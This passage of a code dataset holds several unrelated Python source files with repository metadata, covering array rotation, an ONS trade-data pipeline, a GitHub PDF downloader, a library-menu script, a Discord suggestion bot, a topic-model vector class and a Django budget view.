new_list = [[0]*M for _ in range(N)]\n\n for i in range(N):\n for j in range(M):\n new_list[i][j] = lst[N-1-i][j]\n return new_list\n\n# 좌우반전\ndef flip_sides(lst, N, M):\n new_list = [[0]*M for _ in range(N)]\n\n for i in range(N):\n for j in range(M):\n new_list[i][j] = lst[i][M-1-j]\n return new_list\n\n# 오른쪽으로 90도회전\ndef reverse_map(lst):\n return list(reversed(lst))\n\ndef rotate_90_right(lst, n, m):\n global N, M\n N, M = m, n\n return list(map(reverse_map, list(zip(*lst))))\n\n# 왼쪽으로 90도회전\ndef rotate_90_left(lst, n, m):\n global N, M\n N, M = m, n\n return list(map(list, reversed(list(zip(*lst)))))\n\ndef rotate_sections_90_right(lst, N, M):\n new_list = [[0]*M for _ in range(N)]\n\n for i in range(N):\n for j in range(M):\n if (i < N/2) and (j < M/2):\n new_list[i][j+(M//2)] = lst[i][j]\n elif (i < N/2) and (j >= M/2):\n new_list[i+(N//2)][j] = lst[i][j]\n elif (i >= N/2) and (j >= M/2):\n new_list[i][j-(M//2)] = lst[i][j]\n else:\n new_list[i-(N//2)][j] = lst[i][j]\n\n return new_list\n \n\ndef rotate_sections_90_left(lst, N, M):\n new_list = [[0]*M for _ in range(N)]\n\n for i in range(N):\n for j in range(M):\n if (i < N/2) and (j < M/2):\n new_list[i+(N//2)][j] = lst[i][j]\n elif (i < N/2) and (j >= M/2):\n new_list[i][j-(M//2)] = lst[i][j]\n elif (i >= N/2) and (j >= M/2):\n new_list[i-(N//2)][j] = lst[i][j]\n else:\n new_list[i][j+(M//2)] = lst[i][j]\n \n return new_list\n\n\n# 여기서 부터 실행 시작\nN, M, R = map(int, input().split())\n\n# 리스트 인풋 받기\nlst = []\nfor _ in range(N):\n lst.append(list(map(int, input().split())))\n\n# 해야 할 작업 리스트\ntasks = list(map(int, input().split()))\n\n# 작업 호출 및 수행\nfor task in tasks:\n if task == 1:\n lst = upside_down(lst, N, M)\n elif task == 2:\n lst = flip_sides(lst, N, M)\n elif task == 3:\n lst = rotate_90_right(lst, N, M)\n elif task == 4:\n lst = rotate_90_left(lst, N, M)\n elif task == 5:\n lst = rotate_sections_90_right(lst, N, M)\n else:\n lst = rotate_sections_90_left(lst, N, M)\n\nfor row in lst:\n print(\" \".join(list(map(str, row))))","repo_name":"minnczi/Algorithm","sub_path":"BOJ/boj_16935.py","file_name":"boj_16935.py","file_ext":"py","file_size_in_byte":2522,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38550300126","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[10]:\n\n\nimport json\nimport pandas as pandas\nfrom gssutils import *\n\n\nscraper = Scraper(seed=\"info.json\")\nscraper\n\n\n# In[11]:\n\n\n\ntabs = scraper.distribution(latest = True, mediaType = Excel).as_databaker()\nstr([tab.name for tab in tabs])\n\n\n# In[12]:\n\n\ndef fix_service(row):\n service = pathify(row['H2'])\n group = pathify(row['H1'])\n if service == '':\n if group == 'total-international-trade-in-services':\n service = 'all'\n elif group.startswith('total-'):\n service = group[len('total-'):]\n else:\n assert False, 'Service label is empty, expecting some \"total\" grouping.'\n elif not group.startswith('total-'):\n service = group + '-' + service\n return service\n\ndef fix_title(s):\n service = pathify(s)\n pos = service.find('-analysed-by-')\n if pos != -1:\n service = service[:pos]\n # one title doesn't use \"analysed by\"\n pos = service.find('-industry-by-product-')\n if pos != -1:\n service = service[:pos + len('-industry')]\n return service\n\ndef date_time(time_value):\n time_string = str(time_value).replace(\".0\", \"\").strip()\n time_len = len(time_string)\n if time_len == 4:\n return \"year/\" + time_string\n elif time_len == 7:\n return \"quarter/{}-{}\".format(time_string[3:7], time_string[:2])\n\ndef fix_area(row):\n area = pathify(row['H2'])\n if area == '':\n area = pathify(row['H1'])\n if area == 'total-international-trade-in-services':\n area = 'world'\n elif area.startswith('total-'):\n area = area[len('total-'):]\n return f\"itis/{area}\"\n\ndef process_tab(tab):\n tab_group = tab.name.strip()[:len('Table XX')][-2:]\n tab_title = tab.excel_ref('A1').fill(RIGHT).is_not_blank().by_index(1).value.strip()\n #display(f\"Processing '{tab.name}' ({tab_group}) '{tab_title}'\")\n # not doing C0 which is a bit different\n top_left = tab.excel_ref('A1').fill(DOWN).is_not_blank().by_index(1)\n if tab_group[0] == 'C':\n bottom_left = tab.filter('Total International Trade in Services')\n else:\n bottom_left = tab.filter('TOTAL INTERNATIONAL TRADE IN SERVICES')\n bottom_left.assert_one()\n h1_labels = (top_left.expand(DOWN) & bottom_left.expand(UP)).filter(lambda c: c.value.strip() != '') | (top_left.shift(RIGHT).expand(DOWN) & bottom_left.shift(RIGHT).expand(UP)).filter(lambda c: c.value.strip() != '')\n h2_labels = (top_left.expand(DOWN) & bottom_left.expand(UP)).shift(RIGHT).shift(RIGHT)\n year = top_left.shift(UP).fill(RIGHT).is_not_blank()\n # some flow labels are in a strange place as cells have been merged inconsistently\n flow = top_left.shift(UP).shift(UP).fill(RIGHT).is_not_blank()\n if tab_group == 'D2':\n flow = top_left.shift(UP).shift(UP).fill(RIGHT).is_not_blank() | tab.excel_ref('E3')\n #savepreviewhtml(flow, fname = tab.name+ \"Preview.html\")\n observations = (h2_labels.fill(RIGHT) & year.fill(DOWN)).is_not_blank()\n h1_dim = HDim(h1_labels, 'H1', CLOSEST, ABOVE) # can this be DIRECTLY?\n h1_dim.AddCellValueOverride('Total European Union', 'Total European Union (EU)')\n h1_dim.AddCellValueOverride('Total Information Services', 'Total Telecommunication Computer and Information Services Information Services')\n h1_dim.AddCellValueOverride('Total Construction Goods and Services', 'Total Construction Services')\n h1_dim.AddCellValueOverride('Total Australasia,Oceania and Total Unallocated', 'Total Australasia and Oceania and Total Unallocated')\n h2_dim = HDim(h2_labels, 'H2', DIRECTLY, LEFT)\n h2_dim.AddCellValueOverride('Other techincal services', 'Other technical services')\n cs = ConversionSegment(observations, [\n HDim(year, 'Year', DIRECTLY, ABOVE),\n h1_dim,\n h2_dim,\n HDim(flow, 'Flow', CLOSEST, LEFT),\n ])\n obs = cs.topandas()\n obs['Value'] = pd.to_numeric(obs['OBS'])\n# obs.dropna(subset=['Value'], inplace=True)\n obs.drop(columns=['OBS'], inplace=True)\n# if 'Marker' in obs:\n# obs.drop(columns=['Marker'], inplace=True)\n obs['Year'] = obs['Year'].apply(lambda y: int(float(y)))\n if tab_group[0] in ['A', 'B']:\n obs['ITIS Industry'] = 'all'\n obs['ITIS Service'] = fix_title(tab_title)\n obs['ONS Trade Areas ITIS'] = obs.apply(fix_area, axis='columns')\n elif tab_group[0] == 'C':\n if tab_group == 'C1':\n obs['ITIS Industry'] = 'all'\n else:\n obs['ITIS Industry'] = fix_title(tab_title)\n obs['ITIS Service'] = obs.apply(fix_service, axis='columns')\n obs['ONS Trade Areas ITIS'] = 'itis/world'\n else:\n # Table D2 has 'Exports' in the wrong place\n if tab_group == 'D2':\n obs['Flow'].fillna('exports', inplace=True)\n obs['Flow'] = obs['Flow'].replace(\"\", \"exports\")\n obs['ITIS Industry'] = fix_title(tab_title)\n obs['ITIS Service'] = 'total-international-trade-in-services'\n obs['ONS Trade Areas ITIS'] = obs.apply(fix_area, axis='columns')\n obs.drop(columns=['H1', 'H2'], inplace=True)\n obs['Flow'] = obs['Flow'].apply(lambda x: pathify(x.strip()))\n obs['International Trade Basis'] = 'BOP'\n obs['Measure Type'] = 'GBP Total'\n obs['Unit'] = 'gbp-million'\n return obs#[['ONS Trade Areas ITIS', 'Year', 'Flow', 'ITIS Service', 'ITIS Industry', 'International Trade Basis','Measure Type','Value','Unit', 'Marker']]\n\n\n# In[24]:\n\n\nimport numpy as np\n\nobservations = pd.concat((process_tab(t) for t in tabs if t.name not in ['Contents', 'Table C0']), sort = False)\n\nobservations.rename(index= str, columns= {'DATAMARKER':'Marker'}, inplace = True)\nobservations['Marker'] = observations['Marker'].map(lambda x: { '-' : 'itis-nil',\n '..' : 'disclosive',\n '.' : 'disclosive',\n '...' : 'disclosive'\n }.get(x, x))\n\nobservations['Value'] = observations['Value'].round(decimals=2)\n\nobservations['Value'] = observations.apply(lambda x: x['Value'] if pd.isnull(x['Marker']) else 0, axis = 1)\n\nobservations\n\n\n# In[15]:\n\n\n\ndef left(s, amount):\n return s[:amount]\ndef date_time (date):\n if len(date) == 4:\n return 'year/' + left(date, 4)\nobservations['Year'] = observations['Year'].astype(str).replace('\\.','',regex = True)\nobservations['Year'] = observations['Year'].apply(date_time)\n\nfor col in ['ONS Trade Areas ITIS', 'Flow', 'ITIS Service', 'ITIS Industry']:\n observations[col] = observations[col].astype('category')\n #display(observations[col].cat.categories)\n\n\n# In[16]:\n\n\nobservations.rename(columns={'Flow':'Flow Directions', 'ONS Trade Areas ITIS' : 'Trade Area'}, inplace=True)\n\n#Flow has been changed to Flow Direction to differentiate from Migration Flow dimension\nobservations.drop(columns=['Measure Type', 'Unit'], inplace=True)\n\n\n# In[17]:\n\n\n\nobservations.to_csv('observations.csv', index=False)\n\nscraper.dataset.comment = \"Detailed breakdown of annual trade in UK services estimates, analysing data by country, product and industry.\"\n\ncatalog_metadata = scraper.as_csvqb_catalog_metadata()\ncatalog_metadata.to_json_file('catalog-metadata.json')\n\n","repo_name":"GSS-Cogs/family-trade","sub_path":"datasets/ONS-International-Trade-in-Services/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7337,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"41766251557","text":"# -*- encoding: utf-8 -*-\r\n\r\nimport spider\r\nimport os\r\n\r\n\r\ndef download_some_pages():\r\n root_dir = r'D:\\python\\Spider\\国赛'\r\n file_type = 'pdf'\r\n if not os.path.exists(root_dir):\r\n os.mkdir(root_dir)\r\n os.chdir(root_dir)\r\n\r\n url_list = [\r\n 'https://github.com/zhanwen/MathModel/tree/master/%E5%9B%BD%E8%B5%9B%E8%AE%BA%E6%96%87/2016%E5%B9%B4%E4%BC%98%E7%A7%80%E8%AE%BA%E6%96%87/E',\r\n 'https://github.com/zhanwen/MathModel/tree/master/%E5%9B%BD%E8%B5%9B%E8%AE%BA%E6%96%87/2017%E5%B9%B4%E4%BC%98%E7%A7%80%E8%AE%BA%E6%96%87/E'\r\n ]\r\n proxies = {\r\n 'http': 'http://127.0.0.1:10809'\r\n }\r\n\r\n url_head = 'https://raw.githubusercontent.com'\r\n for i, url in enumerate(url_list):\r\n a = spider.GetOnePageGithub(url, url_head, file_type=file_type,\r\n folder=str(i), wait_time=2,\r\n proxies=proxies)\r\n a.run()\r\n os.chdir(root_dir)\r\n\r\n\r\nif __name__ == '__main__':\r\n download_some_pages()","repo_name":"fly-dragon211/spider","sub_path":"爬取某网站上全部某类型的文件/1-github_file_download.py","file_name":"1-github_file_download.py","file_ext":"py","file_size_in_byte":1023,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31291259814","text":"library = []\n\n\ndef menu():\n print(\"1. Add book\\n2. Remove book\\n3. Search book by\\n4. Exit\\n5. Show Books\")\n return int(input(\"Enter choose: \"))\n\n\ndef add_book():\n book = {}\n\n author = input(\"Enter author name:\")\n book_t = input(\"Enter book title:\")\n genre = input(\"Enter genre name:\")\n year = int(input(\"Enter year:\"))\n pages = int(input(\"Enter pages count:\"))\n publisher = input(\"Enter publisher name:\")\n\n book[\"author\"] = author\n book[\"book title\"] = book_t\n book[\"genre\"] = genre\n book[\"year\"] = year\n book[\"pages\"] = pages\n book[\"publisher\"] = publisher\n return book\n\n\ndef search_book():\n global library\n founds_book = []\n filds = {1: \"author\", 2: \"book title\", 3: \"genre\", 4: \"year\", 5: \"pages\", 6: \"publisher\"}\n print(\"Enter criteria for search\\n\"\n \"1. Author\\n2. Book Title\\n3. Genre\\n4. Year\\n5. Pages Count\\n6. Publisher\")\n\n answer = int(input(\"Enter choose: \"))\n if answer == 4 or answer == 5:\n search = int(input(\"Enter number to search: \"))\n else:\n search = input(\"Enter word to search: \")\n\n if answer in filds:\n selected = filds[answer]\n for i in library:\n for key, val in i.items():\n if selected == key and val == search:\n founds_book.append(i)\n return founds_book\n\n\ndef show_book(book):\n for key, val in book.items():\n print(f\"{key.title()} - {val}\")\n\n\ndef remove_book():\n global library\n print(\"Remove book\")\n book = search_book()\n if len(book) > 0:\n for i in library:\n for j in book:\n if i == j:\n ind = library.index(i)\n del library[ind]\n\n\nanswer = 0\nwhile answer != 4:\n answer = menu()\n if answer == 1:\n library.append(add_book())\n elif answer == 2:\n remove_book()\n elif answer == 3:\n ls = search_book()\n if len(ls) != 0:\n for i in ls:\n show_book(i)\n\n elif answer == 5:\n if len(library) > 0:\n for i in library:\n show_book(i)\n else:\n print(\"Lib empty\")\n","repo_name":"MikeKorsikov/PythonClasses","sub_path":"Lesson14n/HW14n.py","file_name":"HW14n.py","file_ext":"py","file_size_in_byte":2141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73135644994","text":"from scrape_formulas import * \nfrom get_file_tags import get_file_tags\n\n\ndef create_formelsamling(vault: Path, out_dir: Path):\n formelsamlinger = {\n \"matematik\": [],\n \"fysik\": [],\n \"elektronik\": [],\n }\n\n formulas = parse_vault(vault, verbose=True)\n\n last_title = None\n last_file = None\n\n for formula in formulas:\n formula_lines = []\n\n new_title = formula['title'] != last_title\n new_file = formula['file'] != last_file\n\n last_title = formula['title']\n last_file = formula['file']\n\n source_name = Path(formula['file']).stem\n\n if new_file:\n formula_lines.append(f\"## {source_name} ([[{source_name}|link]])\")\n\n if new_title and formula['title'] != source_name:\n formula_lines.append(f\"\\n#### {formula['title']}\")\n formula_lines.append(f\"Se [[{source_name}#\" + re.sub(r'[\\[\\]]', '',formula['title']) + \"]].\")\n\n\n formula_lines.append(f\"\\n$${formula['formula']}$$\\n\")\n\n for symbol in formula['symbols']:\n formula_lines.append(f\"${symbol['symbol']}$ : {symbol['description']}\")\n\n # Føj linjer til de formelsamlinger de hører til.\n for tag in get_file_tags(vault / formula['file']):\n if tag in formelsamlinger:\n if new_file:\n formelsamlinger[tag].append(\"\\n\".join(formula_lines))\n else:\n formelsamlinger[tag][-1] = formelsamlinger[tag][-1] + \"\\n\".join(formula_lines)\n else:\n print(f\"Ignoring tag: {tag!r}\")\n\n\n\n\n if not out_dir.is_absolute():\n out_dir = vault / out_dir\n\n\n for subject, lines in formelsamlinger.items():\n lines = \"\\n\\n---\\n\\n\".join(lines)\n out_file = out_dir / f\"{subject}.md\"\n\n print(f\"Saving to {out_file}...\", end=\" \")\n\n with out_file.open(\"w\") as f:\n f.writelines(lines)\n\n print(\"done.\")\n\n\n\nif __name__ == \"__main__\":\n vault = Path.home() / \"Documents/uni/noter\"\n\n create_formelsamling(vault, Path(\"formelsamling\"))\n\n","repo_name":"BalderHolst/uni-notes-settings","sub_path":"min_code/formelsamlinger/create_formelsamling.py","file_name":"create_formelsamling.py","file_ext":"py","file_size_in_byte":2071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1782901247","text":"\n# Code from Chapter 4 of Machine Learning: An Algorithmic Perspective (2nd Edition)\n# by Stephen Marsland (http://stephenmonika.net)\n\n# You are free to use, change, or redistribute the code in any way you wish for\n# non-commercial purposes, but please maintain the name of the original author.\n# This code comes with no warranty of any kind.\n\n# Stephen Marsland, 2008, 2014\n\nimport numpy as np\nimport mlp\n\nanddata = np.array([[0,0,0],[0,1,0],[1,0,0],[1,1,1]])\nxordata = np.array([[0,0,0],[0,1,1],[1,0,1],[1,1,0]])\n\np = mlp.mlp(anddata[:,0:2],anddata[:,2:3],2)\np.mlptrain(anddata[:,0:2],anddata[:,2:3],0.25,1001)\np.confmat(anddata[:,0:2],anddata[:,2:3])\n\nq = mlp.mlp(xordata[:,0:2],xordata[:,2:3],2,outtype='logistic')\nq.mlptrain(xordata[:,0:2],xordata[:,2:3],0.25,5001)\nq.confmat(xordata[:,0:2],xordata[:,2:3])\n\n#anddata = array([[0,0,1,0],[0,1,1,0],[1,0,1,0],[1,1,0,1]])\n#xordata = array([[0,0,1,0],[0,1,0,1],[1,0,0,1],[1,1,1,0]])\n#\n#p = mlp.mlp(anddata[:,0:2],anddata[:,2:4],2,outtype='linear')\n#p.mlptrain(anddata[:,0:2],anddata[:,2:4],0.25,1001)\n#p.confmat(anddata[:,0:2],anddata[:,2:4])\n#\n#q = mlp.mlp(xordata[:,0:2],xordata[:,2:4],2,outtype='linear')\n#q.mlptrain(xordata[:,0:2],xordata[:,2:4],0.15,5001)\n#q.confmat(xordata[:,0:2],xordata[:,2:4])\n","repo_name":"alexsosn/MarslandMLAlgo","sub_path":"Ch4/logic.py","file_name":"logic.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"en","doc_type":"code","stars":141,"dataset":"github-code","pt":"61"} +{"seq_id":"41807570084","text":"import discord\n\nfrom discord.ext import commands\nfrom logging_files.utility_logging import logger\n\n\nclass Utility(commands.Cog):\n def __init__(self, bot):\n self.client = bot\n self.color = bot.color\n self.suggestion_box = self.client.get_channel(646170475726110720)\n\n \n \n @commands.command()\n @commands.cooldown(rate=1, per=3600, type=commands.BucketType.user)\n async def suggest(self, ctx, *, suggestion):\n embed = discord.Embed(\n color=discord.Color.from_rgb(self.color[0], self.color[1], self.color[2]),\n title=f\"➜ New Suggestion From: {ctx.author}\",\n description=f\"‣ Suggestion: `{suggestion}`\")\n \n embed.set_thumbnail(url=ctx.author.avatar_url_as(size=4096, format=None, static_format=\"png\"))\n\n await ctx.send(\"\"\"( <:verified:639525974496772106> ) ‣ **Successfully** sent your suggestion!\n Please view <#646170475726110720> to view it.\"\"\")\n\n message = await self.suggestion_box.send(embed=embed)\n \n await message.add_reaction(self.client.get_emoji(646176222325243924))\n await message.add_reaction(self.client.get_emoji(646176188263301141))\n\n logger.info(f\"Utility | Sent Suggestion: {ctx.author} | Suggestion: {suggestion}\")\n\n @suggest.error\n async def suggest_error(self, ctx, error):\n if isinstance(error, commands.MissingRequiredArgument):\n embed = discord.Embed(\n color=discord.Color.from_rgb(self.color[0], self.color[1], self.color[2]),\n title=\"➜ Passed Invalid Argument\",\n description=\"‣ Please put a valid parameter. Example: `!suggest <suggestion>`\")\n \n await ctx.send(embed=embed)\n ctx.command.reset_cooldown(ctx)\n \n elif isinstance(error, commands.CommandOnCooldown):\n embed = discord.Embed(\n color=discord.Color.from_rgb(self.color[0], self.color[1], self.color[2]),\n title=\"➜ Cool Down Error\",\n description=\"‣ You are only allowed to suggest an idea every hour.\")\n \n await ctx.send(embed=embed)\n\n\ndef setup(bot):\n bot.add_cog(Utility(bot))\n","repo_name":"Legionbot23/1","sub_path":"cogs/utility.py","file_name":"utility.py","file_ext":"py","file_size_in_byte":2237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"20459224236","text":"import time\nimport heapq\nfrom collections import namedtuple\ntry:\n import threading\nexcept ImportError:\n import dummy_threading as threading\ntry:\n from time import monotonic as _time\nexcept ImportError:\n from time import time as _time\n__all__ = ['scheduler']\n\nclass Event(namedtuple('Event', 'time, priority, action, argument, kwargs')):\n __qualname__ = 'Event'\n\n def __eq__(s, o):\n return (s.time, s.priority) == (o.time, o.priority)\n\n def __ne__(s, o):\n return (s.time, s.priority) != (o.time, o.priority)\n\n def __lt__(s, o):\n return (s.time, s.priority) < (o.time, o.priority)\n\n def __le__(s, o):\n return (s.time, s.priority) <= (o.time, o.priority)\n\n def __gt__(s, o):\n return (s.time, s.priority) > (o.time, o.priority)\n\n def __ge__(s, o):\n return (s.time, s.priority) >= (o.time, o.priority)\n\n_sentinel = object()\n\nclass scheduler:\n __qualname__ = 'scheduler'\n\n def __init__(self, timefunc=_time, delayfunc=time.sleep):\n self._queue = []\n self._lock = threading.RLock()\n self.timefunc = timefunc\n self.delayfunc = delayfunc\n\n def enterabs(self, time, priority, action, argument=(), kwargs=_sentinel):\n if kwargs is _sentinel:\n kwargs = {}\n with self._lock:\n event = Event(time, priority, action, argument, kwargs)\n heapq.heappush(self._queue, event)\n return event\n\n def enter(self, delay, priority, action, argument=(), kwargs=_sentinel):\n with self._lock:\n time = self.timefunc() + delay\n return self.enterabs(time, priority, action, argument, kwargs)\n\n def cancel(self, event):\n with self._lock:\n self._queue.remove(event)\n heapq.heapify(self._queue)\n\n def empty(self):\n with self._lock:\n return not self._queue\n\n def run(self, blocking=True):\n lock = self._lock\n q = self._queue\n delayfunc = self.delayfunc\n timefunc = self.timefunc\n pop = heapq.heappop\n while True:\n with lock:\n if not q:\n break\n (time, priority, action, argument, kwargs) = q[0]\n now = timefunc()\n if time > now:\n delay = True\n else:\n delay = False\n pop(q)\n if delay:\n if not blocking:\n return time - now\n delayfunc(time - now)\n else:\n action(*argument, **kwargs)\n delayfunc(0)\n\n @property\n def queue(self):\n with self._lock:\n events = self._queue[:]\n return list(map(heapq.heappop, [events]*len(events)))\n\n","repo_name":"johndpope/sims4-ai-engine","sub_path":"base/lib/sched.py","file_name":"sched.py","file_ext":"py","file_size_in_byte":2782,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"61"} +{"seq_id":"40631380966","text":"# encoding: utf-8\n# author: Alan-learner\n\ndef get_ans(n: int):\n s = set()\n for i in range(2, 101, 2):\n for j in range(2, 101, 2):\n s.add(i + j)\n if n in s:\n return \"YES\"\n return \"NO\"\n\n\ndef main():\n res = get_ans(int(input()))\n print(res)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"Alan-learner/Algorithm","sub_path":"Platform/Codeforces/Practices/watermelon.py","file_name":"watermelon.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2191781247","text":"# -*- coding: utf-8 -*-\n# 这个类是相当于作者自己实现的一个numpy,作者自己也说这个类很鸡肋,如果大家想自己实现的话,只要用numpy就好了。\n\nimport random\nimport math\n\nclass Pvec():\n p = [] # type:vector\n\n def __init__(self,n=None,v=None,vector_v=None,pvec_v=None,line=None):\n if n != None and v == None:\n for i in range(n):\n self.p.append(i)\n elif v != None:\n for i in range(n):\n self.p.append(v)\n if vector_v != None:\n for i in range(len(self.p)):\n self.p[i] = vector_v[i]\n if pvec_v != None:\n if len(self.p) > len(pvec_v):\n self.p = self.p[:len(pvec_v)]\n else:\n for i in range(len(pvec_v)):\n self.p.append(0)\n for i in range(len(pvec_v)):\n for i in range(len(pvec_v)):\n self.p[i] = pvec_v[i]\n if line != None:\n self.loadString(line)\n\n def __setitem__(self, key, value):\n self.p[key] = value\n\n def size(self):\n '''\n @description: 返回长度,为了更好的调试,这里打印了里面的每一个元素。\n @param 不接收参数\n @return: 返回长度\n '''\n for i in range(len(self.p)):\n print(self.p[i])\n return len(self.p)\n\n def __len__(self):\n return len(self.p)\n\n def resize(self,n=None,v=None):\n if n != None and v == None:\n if len(self.p) > n:\n self.p = self.p[:n]\n else:\n for i in range(n):\n self.p.append(0)\n elif n != None and v != None:\n if len(self.p) > n:\n self.p = self.p[:n]\n else:\n for i in range(n-len(self.p)):\n self.p.append(v)\n\n def assign(self,n,v):\n self.p = []\n for i in range(n):\n self.p.append(v)\n\n def rand_init(self):\n for i in range(len(self.p)):\n self.p[i] = random.randrange(1,100)\n self.normalize()\n\n def fill(self,v):\n for i in range(len(self.p)):\n self.p[i] = v\n\n def uniform_init(self):\n for i in range(len(self.p)):\n self.p[i] = float(1)/len(self.p)\n\n def bias_init(self,v):\n assert(v<1)\n self.p[0] = v\n for i in range(len(self.p)):\n self.p[i] = float((1-v)/(len(self.p)-1))\n\n def push_back(self,v):\n self.p.append(v)\n\n def extend(self,vec):\n self.p += vec.p\n\n def sum(self):\n #函数的作用是统计出所有词频的和\n s = 0\n for i in range(len(self.p)):\n s += self.p[i]\n # for i in self.p[0:20]:\n # print(i)\n # print(\"sum函数的输出:\",s)\n return s\n\n def normalize(self,smoother=0.0):\n #函数的作用是将词编号:词频 => 词编号: 词频率,就是做了一个归一化处理.\n #👆在胡说八道,才不是简单的做了归一化那么简单呢,函数的作用是用来计算参数的。\n #函数的作用是吉布斯采样来估计参数。\n s = self.sum()\n assert(s>=0)\n\n K = len(self.p)\n for i in range(K):\n self.p[i] = (self.p[i] + smoother)/(s + K*smoother)\n\n def exp_normalize(self):\n tmp = self.p[:]\n for i in range(len(self.p)):\n s = 0.0\n for j in range(len(self.p)):\n s += math.exp(tmp[j] - tmp[i])\n assert(s>=1)\n self.p[i] = 1/s\n\n def smooth(self,smoother):\n for i in range(len(self.p)):\n if self.p[i] < smoother:\n self.p[i] = smoother\n\n def loadFileStream(self,rf):\n self.p = []\n for v in rf.split(\" \"):\n self.p.append(int(v))\n\n def norm(self):\n s = 0\n for i in range(len(self.p)):\n s += self.p[i]*self.p[i]\n return math.sqrt(s)\n\n def loadString(self,line):\n self.p = []\n for v in line.split(\" \"):\n self.p.append(int(v))\n\n # Method behind : Operator Overloaded\n\n def __add__(self, other):\n tp = self.p[:]\n if type(other) == float or type(other) == int:\n for i in range(len(self.p)):\n tp[i] = self.p[i] + other\n else:\n for i in range(len(self.p)):\n tp[i] = self.p[i] + other[i]\n return Pvec(pvec_v=tp)\n\n def __iadd__(self, other):\n if type(other) == float or type(other) == int:\n for i in range(len(self.p)):\n self.p[i] += other\n else:\n for i in range(len(self.p)):\n self.p[i] += other[i]\n return self\n\n def __sub__(self, other):\n tp = self.p[:]\n if type(other) == float or type(other) == int:\n for i in range(len(self.p)):\n tp[i] = self.p[i] - other\n else:\n for i in range(len(self.p)):\n tp[i] = self.p[i] - other[i]\n return Pvec(pvec_v=tp)\n\n def __isub__(self, other):\n if type(other) == float or type(other) == int:\n for i in range(len(self.p)):\n self.p[i] -= other\n else:\n for i in range(len(self.p)):\n self.p[i] -= other[i]\n return self\n\n def __mul__(self, other):\n tp = self.p[:]\n for i in range(len(self.p)):\n tp[i] = self.p[i] * other\n return Pvec(pvec_v=tp)\n\n def __imul__(self, other):\n for i in range(len(self.p)):\n self.p[i] *= other\n return self\n\n def __div__(self, other):\n tp = self.p[:]\n for i in range(len(self.p)):\n tp[i] = self.p[i] / other\n return Pvec(pvec_v=tp)\n\n def __idiv__(self, other):\n for i in range(len(self.p)):\n self.p[i] /= other\n return self\n\n # end of Operator Overloaded\n\n def add1_log(self):\n for i in range(len(self.p)):\n self.p[i] = math.log(1+self.p[i])\n\n def max(self):\n max_v = -10000000\n for i in range(len(self.p)):\n if self.p[i] > max_v:\n max_v = self.p[i]\n return max_v\n\n def max_idx(self):\n max_v = -10000000\n idx = 0\n for i in range(len(self.p)):\n if self.p[i] > max_v:\n max_v = self.p[i]\n idx = i\n return idx\n\n def erase(self,start,end):\n assert(end>=start and end<=len(self.p))\n self.p = self.p[:start] + self.p[end:]\n\n def clear(self):\n self.p = []\n\n def to_vector(self):\n return self.p\n\n def to_double(self):\n tmp = self.p[:]\n for i in range(len(self.p)):\n tmp[i] = float(tmp[i])\n return Pvec(pvec_v=tmp)\n\n def str(self,delim = ' '):\n _str = \"\"\n for i in range(len(self.p)):\n _str += (str(self.p[i]) + delim)\n return _str\n\n def sparse_str(self,v):\n _str = \"\"\n for i in range(len(self.p)):\n if self.p[i] > v:\n _str += (str(i)+':'+str(self.p[i])+' ')\n return _str\n\n def write(self,pt,delim=' '):\n output = open(pt,'w')\n for pp in self.p:\n output.write(str(pp) + delim)\n\n def __getitem__(self, item):\n return self.p[item]\n\n def test(self):\n print(self.p)\n\nif __name__ == \"__main__\":\n a = Pvec(line=\"10 4 5 6 1 3\")\n a.test()","repo_name":"galesour/BTM","sub_path":"BTM/src/pvec.py","file_name":"pvec.py","file_ext":"py","file_size_in_byte":7475,"program_lang":"python","lang":"en","doc_type":"code","stars":84,"dataset":"github-code","pt":"61"} +{"seq_id":"34069752675","text":"from .forms import AddBudgetForm\nimport random\nfrom Accounts.models import Account\nfrom django.shortcuts import render, redirect\n\n\ndef create_budget(request):\n user = request.user\n if user.is_active and user.has_budget == True:\n student_user = Account.objects.filter(pk=request.user.pk)\n user_id = student_user.model.get_user_id(self=user)\n monthly_income = int(5000)\n\n categories = [\n ['Food and Dining', 'Food and Drink'],\n ['Transportation', 'Transportation'],\n ['Shops', 'Shops'],\n ['Housing', 'Payment'],\n ['Entertainment', 'Payment'],\n ['Subscriptions', 'Subscription'],\n ['Miscellaneous', 'Miscellaneous'],\n ]\n\n index = 0\n while index < len(categories):\n form = AddBudgetForm()\n form = form.save(commit=False)\n form.user = user\n form.title = categories[index][0]\n form.budget_id = random.randint(100000000, 90000000000)\n form.category = categories[index][1]\n form.transactions = {\"categoryTransactions\": []}\n number = monthly_income / len(categories)\n form.current_total = 0\n form.total_per_month = number\n form.users_id = user_id\n form.save()\n index += 1\n\n return redirect('/budget/budget')\n else:\n return render(request, 'MainWebsite/index.html')\n\ndef add_budget():\n pass\n\n\ndef package_transaction(tran_title, transaction_category, amount, category1, category2, transaction_id):\n new_packaged_transaction = {\n \"date\": \"2017-01-29\",\n \"name\": f\"{tran_title}\",\n \"associated_budget\": f\"{transaction_category}\",\n \"amount\": amount,\n \"checked\": \"yes\",\n \"category\": [\n f\"{category1}\",\n f\"{category2}\"\n ],\n \"location\": {\n \"lat\": 40.740352,\n \"lon\": -74.001761,\n \"city\": \"San Francisco\",\n \"region\": \"CA\",\n \"address\": \"300 Post St\",\n \"country\": \"US\",\n \"postal_code\": \"94108\",\n \"store_number\": \"1235\"\n },\n \"transaction_id\": f\"{transaction_id}\",\n \"category_id\": \"19013000\",\n\n }\n\n return new_packaged_transaction\n\n\ndef savings_calculator(current_savings, monthly_income, monthly_expenses, 